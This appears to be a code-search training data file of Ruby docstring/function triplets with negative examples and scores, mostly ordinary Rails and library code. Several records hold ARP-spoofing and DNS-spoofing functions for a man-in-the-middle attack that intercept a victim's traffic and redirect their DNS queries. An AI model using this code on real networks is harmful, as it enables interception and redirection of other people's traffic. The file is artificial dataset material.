"0.62669706"... | 0.0 | -1 |
This allows us to access nested members via dotnotation, consistent with Mixlib::Config's behavior | def method_missing(method_symbol, *args)
method = method_symbol.to_s
method = $1 if method =~ /(.+)=$/
if args.length > 0
self[method] = args[0]
else
self[method]
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def nested(name, options={}, &block)\n options = options.merge(\n :use_decorator => true,\n :getter => lambda { |*| self },\n :setter => lambda { |*| },\n :instance => lambda { |*| self }\n ) # DISCUSS: should this be a macro just as :parse_strategy?\n\n ... | [
"0.6215427",
"0.60842717",
"0.58800113",
"0.55734235",
"0.556175",
"0.54675263",
"0.54235744",
"0.5353586",
"0.53203547",
"0.52574986",
"0.5242666",
"0.5237605",
"0.52286875",
"0.5209857",
"0.5205289",
"0.5191973",
"0.5191973",
"0.5159572",
"0.5137667",
"0.5135166",
"0.509906... | 0.0 | -1 |
Render all game objects to the given graphics context. Triggers :before_render, :after_render callbacks. | def render(graphics)
notify :before_render, graphics
#game_state.manager(:game_object).game_objects.each { |game_object| game_object.draw if game_object.respond_to? :draw}
game_state.manager(:game_object).layers_by_order.each do |game_objects|
game_objects.each { |game_object| game_object.draw(graphic... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def draw\r\n @game_objects.draw\r\n end",
"def render\n glClearColor(*@background_color)\n @render_list.each { | o | o.render }\n end",
"def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end",
"def render\n render_background\n\n render_heat_maps\n\n ren... | [
"0.7048028",
"0.66131866",
"0.6581462",
"0.6298236",
"0.6293674",
"0.628577",
"0.6124497",
"0.6119533",
"0.6118883",
"0.6078788",
"0.6037728",
"0.59738",
"0.59728503",
"0.5958493",
"0.595056",
"0.5917389",
"0.5843846",
"0.5702858",
"0.56958544",
"0.56760925",
"0.5672962",
"... | 0.8114747 | 0 |
GET /retailers/1 GET /retailers/1.json | def show
# @retailer = Retailer.find(params[:id], :include => [:deals, :advertisements, :account] )
respond_to do |format|
format.html # show.html.erb
format.json # show.json.rabl
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @retailers = Retailer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"def show\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n ... | [
"0.76396954",
"0.7333227",
"0.7261835",
"0.7258274",
"0.72117597",
"0.72117597",
"0.6614635",
"0.6582977",
"0.6570467",
"0.6522934",
"0.6490461",
"0.6404152",
"0.636264",
"0.6180691",
"0.61119664",
"0.60273314",
"0.59855527",
"0.5954169",
"0.59106314",
"0.59012073",
"0.586326... | 0.6435224 | 11 |
GET /retailers/new GET /retailers/new.json | def new
# @retailer = Retailer.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @retailer }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n @retailer = Retailer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @retailer }\n end\n end",
"def new\n @retailer = Retailer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @retailer}... | [
"0.8102219",
"0.8073685",
"0.74172896",
"0.7394181",
"0.7384375",
"0.71567273",
"0.70882",
"0.6922277",
"0.69218045",
"0.68257636",
"0.6825349",
"0.6808083",
"0.67846227",
"0.67830217",
"0.6776569",
"0.6759739",
"0.6752661",
"0.6747363",
"0.6745651",
"0.6745651",
"0.670874",
... | 0.79252005 | 2 |
POST /retailers POST /retailers.json | def create
# @retailer = Retailer.new(params[:retailer])
respond_to do |format|
if @retailer.save
format.html { redirect_to @retailer, notice: 'Retailer was successfully created.' }
format.json { render json: @retailer, status: :created, location: @retailer }
else
format.html... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @retailer = Retailer.new(params[:retailer])\n\n respond_to do |format|\n if @retailer.save\n format.html { redirect_to @retailer, notice: \"Retailer was successfully created.\" }\n format.json { render json: @retailer, status: :created, location: @retailer }\n else\n ... | [
"0.7001252",
"0.6969355",
"0.69638574",
"0.67632246",
"0.6271544",
"0.62431",
"0.6211006",
"0.6140667",
"0.60237247",
"0.5990502",
"0.58498913",
"0.58496106",
"0.5775436",
"0.56699806",
"0.56450516",
"0.56153435",
"0.5576294",
"0.5536066",
"0.55155486",
"0.54737514",
"0.54260... | 0.6917738 | 3 |
PUT /retailers/1 PUT /retailers/1.json | def update
# @retailer = Retailer.find(params[:id])
respond_to do |format|
if @retailer.update_attributes(params[:retailer])
format.html { redirect_to @retailer, notice: 'Retailer was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @retailer = Retailer.find(params[:id])\n\n respond_to do |format|\n if @retailer.update_attributes(params[:retailer])\n format.html { redirect_to @retailer, notice: \"Retailer was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render act... | [
"0.7040228",
"0.6962808",
"0.68567246",
"0.6565734",
"0.64562416",
"0.6086108",
"0.6081048",
"0.59764683",
"0.59337556",
"0.59225905",
"0.5899036",
"0.58547664",
"0.5849405",
"0.58473104",
"0.5833048",
"0.5833048",
"0.5833048",
"0.5829853",
"0.5829312",
"0.5820197",
"0.580149... | 0.6974689 | 1 |
DELETE /retailers/1 DELETE /retailers/1.json | def destroy
# @retailer = Retailer.find(params[:id], :include => [:deals] )
if !@retailer.deals
@retailer.destroy
else
flash[:notice] = "That Retailer cannot be deleted because it has #{@retailer.deals.size} deals"
end
respond_to do |format|
format.html { redirect_to retailers_url ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @retailer = Retailer.find(params[:id])\n @retailer.destroy\n\n respond_to do |format|\n format.html { redirect_to retailers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @retailer = Retailer.find(params[:id])\n @retailer.destroy\n\n respond_to do |for... | [
"0.78928685",
"0.7862081",
"0.7560041",
"0.73908705",
"0.7243701",
"0.6970332",
"0.6721825",
"0.6626511",
"0.6617877",
"0.66045743",
"0.6598366",
"0.65904045",
"0.6564928",
"0.6520826",
"0.6520826",
"0.6509714",
"0.6508037",
"0.6501735",
"0.6486371",
"0.64806336",
"0.6464253"... | 0.6811367 | 6 |
This is not very performant with lots of sprites! Consider using TiledLayer instead. | def visible_sprites(given_rect)
if given_rect.nil?
containing_sprite.view_actual_size! unless containing_sprite.source_is_set?
compare_left = containing_sprite.source_x
compare_bottom = containing_sprite.source_y
compare_right = compare_left + containing_sprite.source_w
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def refresh_tiles\n return if empty?\n xdiff = @array[0].real_x.round / -32 - 1\n ydiff = @array[0].real_y.round / -32 - 1\n if ydiff > 0\n ydiff.times do\n move_up do |sprite|\n sprite.mapy += YSIZE\n sprite.real_y += 32 * YSIZE\n draw_tile(spri... | [
"0.6440557",
"0.6352217",
"0.63399565",
"0.63223654",
"0.6273397",
"0.6262312",
"0.62495774",
"0.62375534",
"0.6231931",
"0.6221213",
"0.62061495",
"0.61918575",
"0.6177289",
"0.61525124",
"0.6148911",
"0.6148855",
"0.61308134",
"0.6129029",
"0.6127445",
"0.6106169",
"0.60925... | 0.0 | -1 |
GET /admin/score_histories/1 GET /admin/score_histories/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @high_scores = HighScore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @high_scores }\n end\n end",
"def index\n @hscores = Hscore.all\n end",
"def index\n @points_histories = PointsHistory.all\n\n respond_to do |format|\n ... | [
"0.7125307",
"0.6620603",
"0.6613374",
"0.6610115",
"0.64741004",
"0.6440993",
"0.6405553",
"0.63563555",
"0.63253784",
"0.6274601",
"0.62720525",
"0.62249756",
"0.621107",
"0.61911833",
"0.6179131",
"0.6176485",
"0.6173164",
"0.6163228",
"0.61543506",
"0.61515087",
"0.614768... | 0.0 | -1 |
POST /admin/score_histories POST /admin/score_histories.json | def create
@score_history = ScoreHistory.new(score_history_params)
respond_to do |format|
if @score_history.save
format.html { redirect_to [:admin, @score_history], notice: '积分历史创建成功.' }
format.json { render action: 'show', status: :created, location: @score_history }
else
f... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @high_score = HighScore.new(params[:high_score])\n\n respond_to do |format|\n if @high_score.save\n format.html { redirect_to @high_score, notice: 'High score was successfully created.' }\n format.json { render json: @high_score, status: :created, location: @high_score }\n ... | [
"0.6458199",
"0.643952",
"0.63298523",
"0.629927",
"0.6225533",
"0.62163514",
"0.6163029",
"0.6130577",
"0.6099278",
"0.6068874",
"0.6016884",
"0.59584963",
"0.5919551",
"0.5915448",
"0.59152406",
"0.59152406",
"0.58924484",
"0.5888248",
"0.5888209",
"0.5879421",
"0.5862533",... | 0.67135966 | 0 |
PATCH/PUT /admin/score_histories/1 PATCH/PUT /admin/score_histories/1.json | def update
respond_to do |format|
if @score_history.update(score_history_params)
format.html { redirect_to [:admin, @score_history], notice: '积分历史更新成功.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @score_history... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @high_score = HighScore.find(params[:id])\n\n respond_to do |format|\n if @high_score.update_attributes(params[:high_score])\n format.html { redirect_to @high_score, notice: 'High score was successfully updated.' }\n format.json { head :no_content }\n else\n format... | [
"0.6913205",
"0.68291974",
"0.67511755",
"0.65912175",
"0.65107054",
"0.6434102",
"0.6418965",
"0.6418965",
"0.6418965",
"0.6381388",
"0.6363831",
"0.6312057",
"0.6303314",
"0.6267161",
"0.6267161",
"0.6267161",
"0.6267161",
"0.6193246",
"0.61559194",
"0.611818",
"0.6105739",... | 0.71391594 | 0 |
DELETE /admin/score_histories/1 DELETE /admin/score_histories/1.json | def destroy
@score_history.destroy
respond_to do |format|
format.html { redirect_to admin_score_histories_url, notice: '积分历史删除成功.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @highscore.destroy\n respond_to do |format|\n format.html { redirect_to highscores_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @high_score = HighScore.find(params[:id])\n @high_score.destroy\n\n respond_to do |format|\n format.html { redir... | [
"0.732006",
"0.7310193",
"0.7310193",
"0.7250964",
"0.71167",
"0.70745605",
"0.70619166",
"0.69952327",
"0.6973879",
"0.6973879",
"0.6973879",
"0.6973879",
"0.69710153",
"0.6952845",
"0.6912824",
"0.69080245",
"0.69077235",
"0.68973863",
"0.6894187",
"0.6891469",
"0.6886458",... | 0.7803314 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_score_history
@score_history = ScoreHistory.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def score_history_params
params.require(:score_history).permit(:point, :object_type, :object_id, :oper, :user_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.69795185",
"0.6782116",
"0.6745877",
"0.6742722",
"0.67368543",
"0.65932566",
"0.65048057",
"0.6497429",
"0.6481512",
"0.6478456",
"0.6455591",
"0.64391",
"0.6379068",
"0.6376498",
"0.636542",
"0.632084",
"0.630046",
"0.62998945",
"0.62943697",
"0.6293775",
"0.629097",
"... | 0.0 | -1 |
Wraps response with a given type. There are some methods that can return either object ot true, so it bypasses true value as is. | def wrap(object, type)
return object if object == true
if type.is_a?(::Array)
type = type.first
object.map { |x| type.new(x) }
else
type.new(object)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def wrap_response(response)\n\t\t\t\tString === response ? {\"body\" => response} : response\n\t\t\tend",
"def call_reponse_wrapper(response)\n response_wrapper.new(response)\n end",
"def wrap_response(response)\n\t\t\t\t\tif body = response.body\n\t\t\t\t\t\tresponse.body = parser_for(response).new(bo... | [
"0.64693785",
"0.5941637",
"0.57827115",
"0.57560337",
"0.56763583",
"0.5610452",
"0.5597307",
"0.5577005",
"0.55564713",
"0.5481272",
"0.5458582",
"0.5458582",
"0.545571",
"0.54426813",
"0.5439304",
"0.54282266",
"0.5427405",
"0.54079264",
"0.53989965",
"0.5396792",
"0.53527... | 0.61338496 | 1 |
Check if the IQ is of type :unavailable | def unavailable?
self.type == :unavailable
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_unavailable?\n \tself.kind == \"NotAvailable\"\n end",
"def unavailable?\n status.to_s.start_with? Status::UNAVAILABLE\n end",
"def response_unavailable?\n !!(content_for_scanner =~ /Server too busy, try again later/)\n end",
"def is_unavailable_and_has_conflicts?\n \tself.is_un... | [
"0.7685356",
"0.75451255",
"0.69065076",
"0.6558011",
"0.64354235",
"0.6410062",
"0.6228762",
"0.6138998",
"0.60999197",
"0.6031911",
"0.60187066",
"0.6003921",
"0.5969381",
"0.5924116",
"0.59239024",
"0.5893137",
"0.5819525",
"0.5799098",
"0.5787519",
"0.5786928",
"0.5734796... | 0.8227588 | 0 |
Check if the IQ is of type :subscribe | def subscribe?
self.type == :subscribe
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def request?\n self.type == :subscribe\n end",
"def subscribed?\n self.type == :subscribed\n end",
"def subscribed?\n self.subscription == :subscribed\n end",
"def suscription_on?\n is_subscribed == true\n end",
"def IsSubscribed=(arg0)",
"def IsSubscribed=(arg0)",
"def ... | [
"0.7851959",
"0.7572665",
"0.7093257",
"0.69883275",
"0.6939593",
"0.6939593",
"0.68027323",
"0.6757095",
"0.6722107",
"0.6663714",
"0.65825117",
"0.6543627",
"0.6534103",
"0.6524359",
"0.6456575",
"0.6447269",
"0.64408314",
"0.6428236",
"0.64248496",
"0.64059573",
"0.6375082... | 0.83235687 | 0 |
Check if the IQ is of type :subscribed | def subscribed?
self.type == :subscribed
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def subscribed?\n self.subscription == :subscribed\n end",
"def subscribe?\n self.type == :subscribe\n end",
"def suscription_on?\n is_subscribed == true\n end",
"def unsubscribed?\n self.type == :unsubscribed\n end",
"def subscribed?\n !@attributes.nil? && @attributes.in... | [
"0.7829379",
"0.7684687",
"0.75739294",
"0.7537207",
"0.74467313",
"0.7384794",
"0.7333915",
"0.7333915",
"0.7293261",
"0.72160715",
"0.7167641",
"0.716513",
"0.7124756",
"0.71153206",
"0.69873893",
"0.69634384",
"0.6928059",
"0.68962157",
"0.6866566",
"0.68628883",
"0.685287... | 0.83588356 | 0 |
Check if the IQ is of type :unsubscribe | def unsubscribe?
self.type == :unsubscribe
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def unsubscribed?\n self.type == :unsubscribed\n end",
"def unsubscribed?\n @subscription.nil?\n end",
"def unsubscribe(msg)\n false\n end",
"def unsubscribed?\n unsubscribed_at.present?\n end",
"def successful_unsubscribe\n end",
"def unsubscribe!\n self.type = :unsub... | [
"0.7973203",
"0.7082766",
"0.7070525",
"0.6928234",
"0.68368524",
"0.6810358",
"0.6436117",
"0.6402861",
"0.6290645",
"0.627973",
"0.61785597",
"0.6132202",
"0.6119888",
"0.61010313",
"0.6072918",
"0.6041435",
"0.60302854",
"0.60302854",
"0.6022856",
"0.59754175",
"0.59463274... | 0.8440674 | 0 |
Check if the IQ is of type :unsubscribed | def unsubscribed?
self.type == :unsubscribed
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def unsubscribed?\n unsubscribed_at.present?\n end",
"def unsubscribed?\n @subscription.nil?\n end",
"def unsubscribe?\n self.type == :unsubscribe\n end",
"def unsubscribed?\n preminum? ? false : true\n #subscribed? ? false : true\n end",
"def unsubscrib... | [
"0.7828498",
"0.7706395",
"0.7607357",
"0.7440686",
"0.7395195",
"0.7225903",
"0.6940251",
"0.6940251",
"0.6936558",
"0.678192",
"0.6746955",
"0.6723111",
"0.6639633",
"0.6583091",
"0.6575047",
"0.6556645",
"0.6503766",
"0.6498136",
"0.64818645",
"0.64358634",
"0.63822466",
... | 0.86977917 | 0 |
Check if the IQ is of type :probe | def probe?
self.type == :probe
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_probe_type\n @probe_type = ProbeType.find(params[:id])\n end",
"def set_probe\n @probe = Probe.find(params[:id])\n end",
"def probe_params\n @probe_params ||= type.params || []\n end",
"def completely_probed?\n !(@probe_nodes.find{|node| node.nil?})\n end",
"def probe(op... | [
"0.56421506",
"0.545162",
"0.54129153",
"0.5365788",
"0.5326476",
"0.5240845",
"0.51858604",
"0.5158844",
"0.5106869",
"0.5082617",
"0.50664973",
"0.5029884",
"0.49983847",
"0.49552375",
"0.49393094",
"0.49234608",
"0.4919405",
"0.4912833",
"0.49013945",
"0.4884211",
"0.48404... | 0.80051816 | 0 |
Check if the IQ is of type :error | def error?
self.type == :error
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def error?\n type == :error\n end",
"def error?\n error\n end",
"def error?\n attributes['error'] != 0\n end",
"def error?\n @error\n end",
"def error?\n @error\n end",
"def error?\n error.to_bool\n end",
"def error?\n !error.blank?\n ... | [
"0.7789528",
"0.7172464",
"0.7172408",
"0.7074163",
"0.7074163",
"0.7029282",
"0.7012815",
"0.69739246",
"0.6969407",
"0.6962785",
"0.6926365",
"0.6907907",
"0.6906679",
"0.6903044",
"0.6890004",
"0.6890004",
"0.6875938",
"0.68523616",
"0.68523616",
"0.68479216",
"0.68332034"... | 0.7796734 | 1 |
Ensures type is one of Blather::Stanza::Presence::VALID_TYPES | def type=(type)
if type && !VALID_TYPES.include?(type.to_sym)
raise ArgumentError, "Invalid Type (#{type}), use: #{VALID_TYPES*' '}"
end
super
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validateType\n unless Relationship_Type.include?(@type)\n raise \"value #{@type} is not a valid relationship type value\"\n end\n end",
"def validateType\n unless Relationship_Type.include?(@type)\n raise \"value #{@type} is not a valid relationship type value\"\n end\n end",
... | [
"0.6598011",
"0.65848994",
"0.6500072",
"0.6463678",
"0.64534575",
"0.64534575",
"0.64472055",
"0.6332735",
"0.6167663",
"0.6156661",
"0.6092076",
"0.6053766",
"0.60454434",
"0.60397416",
"0.59880954",
"0.59880954",
"0.5968023",
"0.5956068",
"0.5956068",
"0.58970857",
"0.5873... | 0.5260765 | 86 |
Up to 1/2 (2 ^ retries 1) seconds. For 3 retries this means up to 3.5 seconds | def interval(retries)
JITTER * (rand(2 ** retries - 1) + 1)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def max_retry\n 5\n end",
"def retry_delay\n 30\n end",
"def retry_options\n {tries: 15, sleep: 1}\n end",
"def poll_max_retries\n 3\n end",
"def wait_time(attempts)\n 2 ** (attempts.to_i + 2)\n end",
"def retry_action (initial_wait_time_in_seco... | [
"0.76813436",
"0.76699036",
"0.73919976",
"0.7228636",
"0.72103775",
"0.7178965",
"0.71731275",
"0.7122757",
"0.7111482",
"0.7069225",
"0.69716066",
"0.6928307",
"0.68957883",
"0.6876879",
"0.6870135",
"0.68441874",
"0.68368936",
"0.68330485",
"0.68213904",
"0.6803086",
"0.68... | 0.71988034 | 5 |
Arp spoof function that is used to generate the man in the middle attack. our machine will now be intercepting the victims packets | def runspoof(arp_packet_target,arp_packet_router)
# Send out both packets
#puts "Spoofing...."
caught=false
while caught==false do
sleep 1
arp_packet_target.to_w(@interface)
arp_packet_router.to_w(@interface)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def antispoofing_attack!\n setup_nodes(AntispoofingA, AntispoofingB, SpoofedAntispoofingC)\n\n key_agreement\n\n puts \"A has key: #{@a.key!}\"\n puts \"B has key: #{@b.key!}\"\n puts \"Spoofed C has key: #{@c.key!}\"\n\n @a.secure_send \"My credit card number is 1234567890123456\"\n ... | [
"0.649167",
"0.64388204",
"0.6405668",
"0.6346885",
"0.6038852",
"0.5968051",
"0.5840739",
"0.58383715",
"0.5837787",
"0.58253366",
"0.5797628",
"0.5775232",
"0.57608306",
"0.5751258",
"0.5724632",
"0.5643307",
"0.56384665",
"0.56144476",
"0.5594991",
"0.55912125",
"0.5577608... | 0.58058697 | 10 |
DNS spoof function that will accept DNS packets from the target IP It will accept query requests, store the domain and create a query response Redirecting the victim machine to a IP we defined earlier. | def dnsspoof_run
puts "Waiting for DNS Packets............:"
iface = @interface
capture_session = PacketFu::Capture.new(:iface => iface,
:start => true,
:promisc => true,
:filt... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def listen()\n\t\t\n\t\tputs \"Listening for dns traffic...\"\n\t\t#setup the filter to only grab dns traffic from the victim\n\t\tfilter = \"udp and port 53 and src \" + @victim_ip\n\n\t\t# Start packet sniffing\n cap = PacketFu::Capture.new(:iface => @ifname, :start => true,\n :prom... | [
"0.6905995",
"0.68831944",
"0.64994466",
"0.6184474",
"0.603958",
"0.60063475",
"0.5814977",
"0.57344365",
"0.55996513",
"0.54805857",
"0.5473855",
"0.5468243",
"0.54667675",
"0.5458501",
"0.53137517",
"0.53088105",
"0.52895665",
"0.52660847",
"0.52642226",
"0.52546924",
"0.5... | 0.6937883 | 0 |
Function to Get the domain name from the payload. | def getDomainName(payload)
domainName = ""
while(true)
len = payload[0].to_i
if (len != 0)
domainName += payload[1,len] + "."
payload = payload[len+1..-1]
else
return domainName = domainName[0,domainName.length-1]
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_domain(payload)\n domain_name = \"\"\n while(true)\n # Get length fields\n len = payload[0].unpack('H*')[0].to_i\n \n if len != 0 then\n domain_name += payload[1, len] + \".\"\n payload = payload[len + 1..-1]\n ... | [
"0.85903674",
"0.84768015",
"0.82116324",
"0.7361152",
"0.7327391",
"0.7327391",
"0.69947535",
"0.6952832",
"0.6901735",
"0.68876565",
"0.688555",
"0.6875346",
"0.68366086",
"0.6836046",
"0.6836046",
"0.6832792",
"0.6832257",
"0.6811695",
"0.68112606",
"0.68015975",
"0.679844... | 0.80660266 | 3 |
return Gravatar from user email with fixed size with size 80 | def gravatar_size80(user, size: 80)
gravatar_id = Digest::MD5::hexdigest(user.email.downcase)
gravatar_url = "https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}"
image_tag(gravatar_url, alt: user.name, class: 'gravatar')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def gravatar_for(user, size)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n \"https://secure.gravatar.com/avatar/#{gravatar_id}.png?s=#{size}\"\n end",
"def gravatar(email)\n \"http://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(email)}.jpg?s=40\"\n end",
"def gravatar_for(user... | [
"0.79550236",
"0.78682756",
"0.76985866",
"0.76985866",
"0.7649192",
"0.7648996",
"0.7635775",
"0.76282716",
"0.7625779",
"0.76187795",
"0.7587216",
"0.75671434",
"0.7536228",
"0.75270206",
"0.75127745",
"0.7494869",
"0.7485724",
"0.74749243",
"0.74571854",
"0.74466234",
"0.7... | 0.7853099 | 2 |
Define your play method below | def play
until over? == true
turn
end
if won? != false
puts "Congratulations #{winner}!"
else
puts "Cat's Game!"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def play\n \n end",
"def play; end",
"def play \n end",
"def play\n end",
"def play\n end",
"def play\n end",
"def play\n end",
"def play\n end",
"def play\n\tend",
"def play\n #calls to all the methods that produce game!\n end",
"def play\n self\n end",
"def get_play(... | [
"0.91277385",
"0.9031555",
"0.90065134",
"0.900332",
"0.900332",
"0.900332",
"0.900332",
"0.8978301",
"0.88647234",
"0.8184945",
"0.80578035",
"0.79240173",
"0.78456163",
"0.7765175",
"0.77345335",
"0.76989305",
"0.7611273",
"0.7611273",
"0.7528091",
"0.74453044",
"0.74384725... | 0.0 | -1 |
Recursive. r and p must be hashes. | def match_requirements r,p,path=""
r.each { |k|
if not p.has_key? k
@fails << "Missing #{path}/#{k}"
else
if r[k].class == Hash
if p[k].class != Hash
@fails << "'provides' #{path}/#{k} should be a hash because 'requires' is."
else
match_require... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def recurse_and_hash_tree(node)\n\n ## exit program if given a bunk file/dir\n print_and_exit \"given a bunk file/node\" unless File.exist? node\n\n ## if we have a file then return it's hash\n return Digest::MD5.hexdigest( node + File.read(node) ) if File.file? node\n\n ## we should have a director... | [
"0.5480122",
"0.5437375",
"0.5341208",
"0.5335686",
"0.5309752",
"0.5296445",
"0.52931017",
"0.52931017",
"0.52931017",
"0.52931017",
"0.52931017",
"0.52931017",
"0.52931017",
"0.5242359",
"0.51770127",
"0.5168441",
"0.5160724",
"0.5146681",
"0.5146622",
"0.5110469",
"0.51083... | 0.0 | -1 |
GET api/v1/business_event_categories GET api/v1/business_event_categories.json | def index
@business_event_categories = BusinessEventCategory.all
render json: @business_event_categories, status: 200
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def event_categories(options = {})\n response = connection.get do |req|\n req.url \"events/categories\", options\n end\n return_error_or_body(response, response.body.response.categories)\n end",
"def index\n @business_event_categories = BusinessEventCategory.all\n end",
"def event_... | [
"0.7699053",
"0.7342786",
"0.722272",
"0.6883969",
"0.67586905",
"0.671771",
"0.6696521",
"0.66427594",
"0.66329",
"0.66170144",
"0.65970325",
"0.65929866",
"0.65752834",
"0.65748954",
"0.6568674",
"0.65479386",
"0.65026885",
"0.65026885",
"0.64969546",
"0.64937997",
"0.64067... | 0.78703636 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_business_event_category
@business_event_category = BusinessEventCategory.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576"... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def business_event_category_params
params.require(:business_event_category).permit(:code, :business_event_id, :name, :parent_id, :level, :icon, :background)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",... | 0.0 | -1 |
Return the data by sql. | def query sql
result = db[sql].all
return result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_data sql\n #$log.debug \"SQL: #{sql} \"\n columns, *rows = @db.execute2(sql)\n #$log.debug \"XXX COLUMNS #{sql}, #{rows.count} \"\n content = rows\n return content\n end",
